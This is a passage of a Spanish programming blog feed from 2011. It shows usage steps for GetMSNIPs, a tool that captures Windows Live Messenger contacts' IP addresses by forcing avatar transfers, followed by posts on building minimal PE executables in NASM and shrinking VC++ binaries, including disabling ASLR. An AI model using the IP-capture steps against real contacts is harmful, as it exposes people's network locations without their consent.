&lt;p align="justify"&gt;Modo de uso: &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Si no tiene instalado WinPcap, &lt;a href="http://www.winpcap.org/install/bin/WinPcap_4_1_2.exe"&gt;instálelo!&lt;/a&gt;.&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Arranque “GetMSNIPs” y seleccione la interfaz con la que se conecta a internet.&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Inicie Windows Live Messenger y cámbiese de avatar, utilice uno que no haya usado antes (así sus contactos no lo tendrán y se iniciará una conexión P2P para su envío).&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Espere un tiempo ó inicie conversaciones con sus contactos para forzar a que carguen su avatar y capturar así su IP.&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="justify"&gt;Así que ya sabéis, si usáis Windows Live Messenger estas diciendo a tus contactos tu dirección IP. No es un gran problema, pero está bien saberlo.&lt;/p&gt;
&lt;p align="justify"&gt;Saludos!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-164294495582002384?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/164294495582002384/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/09/como-conseguir-la-ip-de-tus-contactos.html#comment-form' title='29 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/164294495582002384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/164294495582002384'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/09/como-conseguir-la-ip-de-tus-contactos.html' title='Cómo conseguir la IP de tus contactos de Windows Live Messenger'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/-wAC3EVDB4z8/Tl7OZcjKyCI/AAAAAAAAAaM/Ag7S8zm9ZMs/s72-c/image_thumb%25255B3%25255D.png?imgmax=800' height='72' width='72'/><thr:total>29</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-8500783860090247011</id><published>2011-08-30T13:09:00.005+02:00</published><updated>2011-09-01T02:25:03.279+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Hacer un ejecutable aun más pequeño</title><content type='html'>&lt;p align="justify"&gt;En &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/generar-ejecutables-pequenos-con-vc-90.html"&gt;el anterior post&lt;/a&gt; se mostraba cómo configurar Visual Studio para generar ejecutables pequeños de 1 kb. Es posible que un ejecutable sea todavía mas pequeño. Aunque ya hay que meterse en ensamblador y usar un editor hexadecimal. &lt;/p&gt; &lt;p align="justify"&gt;Lo único que he encontrado al respecto es este artículo de Solar Eclipse.&lt;br&gt;&lt;a href="http://www.phreedom.org/solar/code/tinype/"&gt;http://www.phreedom.org/solar/code/tinype/&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;En él llega a un ejecutable de 97 bytes pero tras probarlo en diferentes versiones de Windows he constatado que solo funciona en versiones anteriores a Windows XP SP2, en esta versión y en posteriores no funciona, ni este ejecutable de 97 bytes, ni otros tantos del mismo artículo. También hay problemas con las versiones de Windows de 64 bits, donde el loader tiene comportamiento ligeramente diferente. Veámoslo. &lt;/p&gt; &lt;p align="justify"&gt;En el artículo de Solar Eclipse, lo primero que hace es eliminar la librería Runtime de C para conseguir un ejecutable de 1k, como se hizo en el anterior artículo. &lt;/p&gt; &lt;p align="justify"&gt;Lo siguiente que hace es reducir el valor de SectionAlignment mediante el parámetro /ALIGN:1 (Explicación en &lt;a href="http://msdn.microsoft.com/en-us/library/8xx65e1y(v=vs.80).aspx"&gt;MSDN&lt;/a&gt;).&lt;/p&gt; &lt;p align="justify"&gt;El problema es que VC++ 9.0 devuelve un error al intentar usar dicho parámetro:&lt;/p&gt;&lt;pre&gt;Error&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp; fatal error LNK1164: alineación de la sección 0x2 (2) superior al valor /ALIGN&lt;/pre&gt;
&lt;p align="justify"&gt;El mínimo valor que deja usar es 4 y aun así modifica solo el valor de SectionAlignment dejándolo a 4, pero no modifica el valor de FileAlignment (como si hacía VC 6.0) para dejarlo también a 4.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-k3kuUZE3yi8/TlzEwY0HyhI/AAAAAAAAAZo/nfiys3tEQOE/s1600-h/image4.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-sdNwa-3rsQE/TlzExUJkmZI/AAAAAAAAAZs/aYAfHU9XgbE/image_thumb2.png?imgmax=800" width="446" height="171"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Esto hace que el ejecutable no cumpla el estándar (&lt;a href="http://msdn.microsoft.com/en-us/windows/hardware/gg463119"&gt;Microsoft Portable Executable and Common Object File Format Specification&lt;/a&gt;), el cúal dice claramente:&lt;br&gt;”The section align must be greater than or equal to FileAlignment.”&lt;br&gt;&lt;br&gt;“If the SectionAlignment is less than the architecture’s page size (0x1000), then FileAlignment must match SectionAlignment.”&lt;/p&gt;
&lt;p align="justify"&gt;En este caso en el que SectionAlignment es menor que 0x1000 FileAlignment también debe valer 4. Si cambiamos el valor de FileAlignment veremos como el ejecutable si funciona en todos los Windows &amp;gt;= Windows XP excepto en las versiones de x64 bits.&lt;/p&gt;
&lt;p align="justify"&gt;¿Por qué no funciona en las versiones de 64 bits? No se la razón exacta, solo se que para que funcione correctamente es necesario que SizeOfImage sea 0x1000 mayor de lo que debería ser (Extraño, sabe el por qué exacto que no dude en decirlo). Esto solo se da cuando SectionAlignment es menor que el page size. &lt;/p&gt;
&lt;p align="justify"&gt;Continuemos con el artículo de Solar Eclipse.&lt;/p&gt;
&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3&gt;“Switching to assembly and removing the DOS stub”&lt;/h3&gt;
&lt;p align="justify"&gt;El siguiente paso que toma para reducir el tamaño de un ejecutable es utilizar ensamblador, NASM. Es curioso que en el propio código en ensamblador del programa defina los campos de la cabecera PE. De este modo evita el uso del linker, que debería ser el que ensambla el ejecutable, crea la cabecera PE, las secciones, incluye los recursos, etc… Con esto logra una gran flexibilidad a la hora de generar un ejecutable con una cabecera personalizada.&lt;/p&gt;
&lt;p align="justify"&gt;Aunque de nuevo nos encontramos con problemas. Ya que en la &lt;a href="http://www.nasm.us/doc/nasmdoc4.html#section-4.11.13"&gt;primera revisión de 2009 de Nasm&lt;/a&gt; se introdujo el macro SECTALIGN. El código de Solar Eclipse, usa una variable con el mismo nombre, NASM nos da un error al ser una palabra reservada. Así que es necesario renombrar la variable SectAlign.&lt;/p&gt;
&lt;p align="justify"&gt;Este ejecutable, el de 356 bytes, no funciona en las versiones de 64 bits por lo que he explicado antes. Se puede solucionar cambiando esta línea:&lt;/p&gt;
&lt;blockquote&gt;&lt;pre&gt;dd round(filesize, sectalign) ; SizeOfImage&lt;/pre&gt;&lt;/blockquote&gt;
&lt;p&gt;Por esta:&lt;/p&gt;
&lt;blockquote&gt;&lt;pre&gt;dd round(filesize, sectalign) + 0x1000 ; SizeOfImage&lt;/pre&gt;&lt;/blockquote&gt;
&lt;p align="justify"&gt;Así nos funcionará en todas las versiones de Windows &amp;gt;= XP tanto en 32 como en 64 bits.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.multiupload.com/74RHEO7X6V"&gt;tiny_356_mod.asm&lt;/a&gt; | &lt;a href="http://www.multiupload.com/7OKTYEZBYV"&gt;tiny_356_mod.exe&lt;/a&gt;&lt;br&gt;&lt;/p&gt;
&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3&gt;“Collapsing the MZ header”&lt;/h3&gt;
&lt;p align="justify"&gt;En este apartado superpone la cabecera PE con la cabecera MZ. Sitúa la cabecera Pe en el offset 4 haciendo que varios campos de ambas cabeceras se superpongan. El único campo importante de la cabecera MZ, aparte del magic number, es el e_lfanew, en el offset 0x3C. Este campo coincide con el campo de la cabecera PE, SectionAlignment. Da a ambos campos el valor de 4.&lt;/p&gt;
&lt;p align="justify"&gt;Para entender mejor esto en el desparecido blog de Ero Carrera se pueden ver algunos gráficos explicando los campos de este ejecutable.&lt;br&gt;&lt;a href="http://web.archive.org/web/20081011023041/http://blog.dkbza.org/2007/03/tiny-and-crazy-pe.html"&gt;http://web.archive.org/web/20081011023041/http://blog.dkbza.org/2007/03/tiny-and-crazy-pe.html&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Como en el anterior apartado para que funcione en todos los Windows es necesario cambiar el valor del SizeOfImage.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.multiupload.com/X16DL7ALB5"&gt;tiny_296_mod.asm&lt;/a&gt; | &lt;a href="http://www.multiupload.com/ZH5O3JD2X2"&gt;tiny_296_mod.exe&lt;/a&gt;&lt;br&gt;&lt;/p&gt;
&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3&gt;“Removing the data directories”&lt;/h3&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;p align="justify"&gt;Este apartado será el último que seremos capaces de realizar si queremos que el ejecutable funcione en todas las versiones de Windows.&lt;/p&gt;
&lt;p align="justify"&gt;La modificación que realiza aquí consiste en eliminar el directorio de datos, ya que no se están usando. &lt;/p&gt;
&lt;blockquote&gt;&lt;pre&gt;dd 0             ; NumberOfRvaAndSizes&lt;/pre&gt;&lt;/blockquote&gt;
&lt;p&gt;Ahorrando así, 16x8=128 bytes.&lt;/p&gt;
&lt;p align="justify"&gt;Pero el ejecutable resultante no funciona en Windows XP SP2 y en siguientes versiones de Windows. El mensaje es curioso:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lh5.ggpht.com/-WrDTga_2Jdg/TlzExhNugzI/AAAAAAAAAZw/DQN1ra21mhU/s1600-h/image10.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-mnDTPyb9dTI/TlzEyAXWjoI/AAAAAAAAAZ0/assz-fjM7y8/image_thumb11.png?imgmax=800" width="300" height="43"&gt;&lt;/a&gt;&lt;br&gt;¿128 bytes demasiado extenso? :P&lt;/p&gt;
&lt;p align="justify"&gt;El problema en esta ocasión parece estar en que a pesar de que se ha puesto en el campo “NumberOfRvaAndSizes” un 0, el Loader espera que en disco esté toda la tabla de directorios, aunque esté vacía.&lt;/p&gt;
&lt;p&gt;Así este ejecutable funciona:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lh6.ggpht.com/-oArDairfcBA/TlzEyjIvTMI/AAAAAAAAAZ4/LU1b2fiDlr4/s1600-h/image14.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-rzMXoOmZ7WI/TlzEzXfkiqI/AAAAAAAAAZ8/N1wq4cnHhKY/image_thumb13.png?imgmax=800" width="461" height="288"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pero este otro no:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://lh3.ggpht.com/-_SZj0_CDE4w/TlzEzyjvu6I/AAAAAAAAAaA/z1a_KcpXvLc/s1600-h/image18.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-ljLEe3gNhmY/TlzE0h8PCSI/AAAAAAAAAaE/UnyC8oNuL9E/image_thumb15.png?imgmax=800" width="464" height="290"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Fijaos que los últimos 4 ceros perteneces al Overlay del ejecutable. No pertenecen a ninguna sección, ni se ven reflejados en ningún campo del PE. Un tanto enigmático…&lt;/p&gt;
&lt;p align="justify"&gt;De este modo llegamos al ejecutable mas pequeño que funciona en todas las versiones de Windows superiores a XP, incluida.&lt;/p&gt;&lt;pre class="brush: cpp"&gt;; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"       ; e_magic
    dw 0          ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature

;
; PE header
;

pehdr:
    dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
    dw 0          ; e_minalloc UNUSED         ; NumberOfSections, 0
code:
    dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED   		; Code (push byte 42, pop eax, ret)
    dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
    dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
    dw opthdrsize ; e_lsarlc UNUSED           ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;

filealign equ 4
sectalignn equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED
    db 0                                      ; MinorLinkerVersion UNUSED
    dd round(4, filealign)                    ; SizeOfCode UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd 0          ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED
    dd code                                   ; AddressOfEntryPoint
    dd code                                   ; BaseOfCode UNUSED
    dd round(filesize, sectalignn)             ; BaseOfData UNUSED
    dd 0x400000                               ; ImageBase
    dd sectalignn ; e_lfanew                  ; SectionAlignment
    dd filealign                  ; FileAlignment
    dw 4                          ; MajorOperatingSystemVersion UNUSED
    dw 0                          ; MinorOperatingSystemVersion UNUSED
    dw 0                          ; MajorImageVersion UNUSED
    dw 0                          ; MinorImageVersion UNUSED
    dw 4                          ; MajorSubsystemVersion
    dw 0                          ; MinorSubsystemVersion UNUSED
    dd 0                          ; Win32VersionValue UNUSED
    dd round(filesize, sectalignn) + 0x1000; SizeOfImage
    dd round(hdrsize, filealign)  ; SizeOfHeaders
    dd 0                          ; CheckSum UNUSED
    dw 2                          ; Subsystem (Win32 GUI)
    dw 0x400                      ; DllCharacteristics UNUSED
    dd 0x100000                   ; SizeOfStackReserve UNUSED
    dd 0x1000                     ; SizeOfStackCommit
    dd 0x100000                   ; SizeOfHeapReserve
    dd 0x1000                     ; SizeOfHeapCommit UNUSED
    dd 0                          ; LoaderFlags UNUSED
    dd 0                          ; NumberOfRvaAndSizes UNUSED

;
; Data directories
;

    times 16 dd 0, 0 ; Empty Directory data, it's needed in Windows &amp;gt;= XP SP2
    dd 0, 0, 0, 0	 ; Compatibility with x64 Windows

opthdrsize equ $ - opthdr

hdrsize equ $ - $$

filesize equ $ - $$
&lt;/pre&gt;
&lt;p align="justify"&gt;Una última cosa. Para que funcione en Windows de 64 bits requiere 16 bytes más a continuación de la tabla de directorios :|&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.multiupload.com/8IGKM4SVCA"&gt;tiny-Compatible.asm&lt;/a&gt; | &lt;a href="http://www.multiupload.com/SIDYH456SJ"&gt;tiny-Compatible.exe&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;268 bytes, esto es lo mínimo que puede ocupar un ejecutable que funcione en XP, Vista y W7 tanto en versiones de 32 como de 64 bits.&lt;/p&gt;
&lt;p align="justify"&gt;4 bytes de la cabera MZ + 24 bytes de la cabecera PE + 96 bytes de la cabecera PE Opcional + 128 bytes de la tabla de directorios (compatibilidad &amp;gt;= XP SP2) + 16 bytes (compatibilidad x64) = 268 bytes.&lt;/p&gt;
&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3&gt;Documentación relacionada:&lt;/h3&gt;
&lt;p align="justify"&gt;Después en el artículo para conseguir dejar el exe en 97 bytes superpone la tabla de secciones sobre la cabecera PE. Otra opción hubiese sido eliminar la tabla de secciones y utilizar un ejecutable sin ninguna sección. Esto está explicado en esta presentación de Alexander Liskin. &lt;a href="http://www.kaspersky.com/images/alexander_liskin_-_pe_specification_vs_pe_loader-10-98424.pdf"&gt;PE: Specification vs. Loader&lt;/a&gt;.&lt;/p&gt;
&lt;p align="justify"&gt;Otro documento muy interesante en el que se lleva el formato PE es el white papper &lt;a href="http://www.reversinglabs.com/blackhat/PECOFF_BlackHat-USA-11-Whitepaper.pdf"&gt;Undocumented PECOFF&lt;/a&gt; de ReversingLabs, &lt;a href="http://www.reversinglabs.com/blackhat/PECOFF_BlackHat-USA-11-Slides.pdf"&gt;presentado&lt;/a&gt; este año en la BlackHat USA.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="justify"&gt;Ha sido un artículo un poco pesado, con bastantes cosas “mágicas” que no se sabe muy bien por qué suceden. Para entender bien la implementación del loader de windows habría que realizar ingeniería inversa al mismo, ¿eso es legal?. Todas las demás conclusiones pueden estar equivocadas.&lt;/p&gt;
&lt;p align="justify"&gt;Si alguien logra un ejecutable menor de 268 bytes compatible con "todos" los Windows o hay alguna parte equivocada os animo a corregirme en los comentarios.&lt;br&gt;
Saludos! &lt;/p&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-8500783860090247011?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/8500783860090247011/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/hacer-un-ejecutable-aun-mas-pequeno.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8500783860090247011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8500783860090247011'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/hacer-un-ejecutable-aun-mas-pequeno.html' title='Hacer un ejecutable aun más pequeño'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/-sdNwa-3rsQE/TlzExUJkmZI/AAAAAAAAAZs/aYAfHU9XgbE/s72-c/image_thumb2.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7590367362078131885</id><published>2011-08-22T11:21:00.002+02:00</published><updated>2011-08-22T11:23:07.102+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><category scheme='http://www.blogger.com/atom/ns#' term='programación'/><title type='text'>Generar ejecutables pequeños con VC++ 9.0 y Visual Studio 2008</title><content type='html'>&lt;p align="justify"&gt;En esta entrada voy a explicar cómo configurar Visual C++ 9.0, en el entorno Visual Studio 2008, para que genere ejecutables lo más pequeños posibles.&lt;/p&gt; &lt;p align="justify"&gt;Me he basado en este artículo, que explica lo mismo para VC++ 6.0:&lt;br&gt;&lt;a href="http://www.catch22.net/tuts/minexe"&gt;http://www.catch22.net/tuts/minexe&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Para hacer las pruebas vamos a realizar un programa muy sencillo, que muestra un mensaje y se cierra.&lt;/p&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;stdio.h&amp;gt;

int main(int argc, char* argv[])
{
	printf("Hola");
	return 0;
}
&lt;/pre&gt;
&lt;p align="justify"&gt;Este sencillo programa ocupa 30 Kb. Lo primero que hay que hacer cambiar la configuración del proyecto que por defecto está en modo DEBUG. Cambiándola a RELEASE conseguimos que el ejecutable baje a 7 kb. Ahora sobre esta configuración iremos cambiando cosas para disminuir aun mas el peso.&lt;/p&gt;
&lt;p align="justify"&gt;El compilador VC++ como se explica en el artículo que puse al principio, define su propio punto de entrada, donde hace distintas inicializaciones y ya después de todo eso ejecuta el main. Esquema de esta función:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;int mainCRTStartup()
{
    int retval;
    init_heap();
    parse_command_line();
    init_global_vars();
    init_exception_handling();
    // finally call the user-defined main
    retval = main();
    // terminate all threads and exit
    ExitProcess(retval);
}
&lt;/pre&gt;
&lt;p align="justify"&gt;Esto supone código y dependencias extra. Podemos decir a VC++ que nuestro punto de entrada sea nuestra función main, de esta forma ignorará su función por defecto.&lt;/p&gt;
&lt;p align="justify"&gt;Para ello en Visual Studio, en las propiedades de nuestro proyecto en el apartado “Propiedades de configuración &amp;gt; Vinculador &amp;gt; Avanzadas” en “Punto de entrada” pondremos “main”.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-Qad2sMn11a4/TlIfZWxEFOI/AAAAAAAAAYY/1JoiRfLZvVA/s1600-h/image29.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-_1KQiPonA2E/TlIfaZhLwKI/AAAAAAAAAYc/uLPMq5Ewsbs/image_thumb15.png?imgmax=800" width="465" height="339"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Con esto reducimos el ejecutable hasta los 3.5 kb.&lt;/p&gt;
&lt;p align="justify"&gt;Hay que tener cuidado porque al saltarnos la función inicial de VC++ (donde se llamaba a “parse_command_line()”) ya no podemos acceder a los argumentos mediante argc y argv. Si necesitamos acceder a los mismos se puede hacer con la API &lt;a href="http://msdn.microsoft.com/en-us/library/ms683156(v=vs.85).aspx"&gt;GetCommandLine&lt;/a&gt;.&lt;/p&gt;
&lt;p align="justify"&gt;Sigamos adelgazando el ejecutable, veamos las secciones que tiene:&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-Ce1deYlYwQM/TlIfawQPcyI/AAAAAAAAAYg/cuXmgbU2OH8/s1600-h/image38.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-oHT79Ow3tlk/TlIfbR48sbI/AAAAAAAAAYk/MMS3T4AVwlI/image_thumb16.png?imgmax=800" width="401" height="151"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Una sección que nos podemos ahorrar es la de .reloc. Las relocalizaciones. Esta sección es mas típica de DLLs, que pueden ser cargadas en diferentes direcciones de memoria. En este ejecutable aparece porque esta activada la opción de DYNAMICBASE para que el ejecutable sea compatible con ASLR. Podemos confiar en que nuestro ejecutable conseguirá cargarse en la dirección base que tiene configurada por defecto y que no necesitará las relocalizaciones, en los ejecutables no suele dar problemas esto.&lt;/p&gt;
&lt;p align="justify"&gt;Para desactivar esta opción vamos a “Propiedades de configuración &amp;gt; Vinculador &amp;gt; Avanzadas”, “Dirección base aleatoria” y seleccionamos Deshabilitar.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-ryXYwgg8ykc/TlIfcA9X3FI/AAAAAAAAAYo/t6rxA8pV8Lc/s1600-h/image46.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-STDpimA5VrU/TlIfdK-neqI/AAAAAAAAAYs/7y1Kh0FFErc/image_thumb20.png?imgmax=800" width="456" height="328"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Ahora el ejecutable pesa 3.37 kb. &lt;/p&gt;
&lt;p align="justify"&gt;Volvemos a ver las secciones y se ve como hay información de depuración en EOF. En la tabla de directorios también aparece:&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-0uRFGgzOF7Y/TlIfdsXmYfI/AAAAAAAAAYw/5O4YyWBePfs/s1600-h/image51.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-0SjFZiDDJOw/TlIfegxgJbI/AAAAAAAAAY0/I_z4rYgTv-A/image_thumb23.png?imgmax=800" width="460" height="443"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Solo es una ruta hacia el fichero pdb de nuestro equipo el cual contiene toda la información de depuración, no nos hace ahorrar mucho, pero cuanto mas simple mantengamos el ejecutable mejor.&lt;/p&gt;
&lt;p align="justify"&gt;“Propiedades de configuración &amp;gt; Vinculador &amp;gt; Depuración”, “Generar información de depuración”, “No”.&lt;/p&gt;
&lt;p align="justify"&gt;Dejamos el ejecutable en los 3 kb.&lt;/p&gt;
&lt;p align="justify"&gt;Otra sección que se puede eliminar es la sección de recursos, .rsrc. se puede ver que solo contiene el archivo de manifiesto. En él se especifica los permisos con los que se necesita arrancar el ejecutable (UAC). Además también se incluye aquí algunas dependencias, ensamblados, como es el caso de MSVCR90.DLL, que solo se puede cargar desde el manifiesto (no entiendo muy bien el por qué, se admiten explicaciones en los comentarios y lo incorporo aquí).&lt;/p&gt;
&lt;p align="justify"&gt;El hecho de depender de MSVCR90.DLL hace además que sea necesario instalar el “&lt;a href="http://www.microsoft.com/downloads/es-es/details.aspx?familyid=9b2da534-3e03-4391-8a4d-074b9f2bc1bf&amp;amp;displaylang=es"&gt;Paquete redistribuible de Microsoft Visual C++ 2008&lt;/a&gt;” en aquellos equipos donde se vaya a ejecutar la aplicación. &lt;/p&gt;
&lt;p align="justify"&gt;¿Opciones?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Usar otra librería en tiempo de ejecución para C. Aquí podemos ver las alternativas:&lt;br&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/abx4dbyh(v=VS.90).aspx"&gt;http://msdn.microsoft.com/en-us/library/abx4dbyh(v=VS.90).aspx&lt;/a&gt;&lt;br&gt;Por defecto se usa “Multithreaded, dynamic link” /MD. La cual requiere la carga de la DLL MSVCR90.DLL.&lt;br&gt;Se puede usar la opción “Multithreaded, static link”. La librería se “linka” estáticamente, nos libramos de DLLs externas pero el ejecutable incrementa su tamaño en 37 Kbytes. &lt;/div&gt;
&lt;li&gt;
&lt;div align="justify"&gt;Usar solamente la API de Windows, así no dependemos de librerías y no aumentamos el tamaño del ejecutable.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p align="justify"&gt;Como buscamos disminuir el tamaño del ejecutable elegimos la segunda opción. Así que nos toca buscar una equivalencia al printf con la API de Windows:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;windows.h&amp;gt;

int main()
{
	WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), "Hola", 4, NULL, NULL);
	return 0;
}
&lt;/pre&gt;
&lt;p align="justify"&gt;Como ya no se va a usar la librería en tiempo de ejecución para C, la quitamos. “Propiedades de configuración &amp;gt; Vinculador &amp;gt; Entrada” en “Omitir todas las bibliotecas predeterminadas” ponemos Si.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-vqzAlKZCJak/TlIffZaPclI/AAAAAAAAAY4/lL7XkgdHC1k/s1600-h/image55.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-irHSdQzNJXI/TlIfgB566WI/AAAAAAAAAY8/OTgr_qthDt8/image_thumb25.png?imgmax=800" width="458" height="329"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Ahora al compilar veremos un error:&lt;/p&gt;
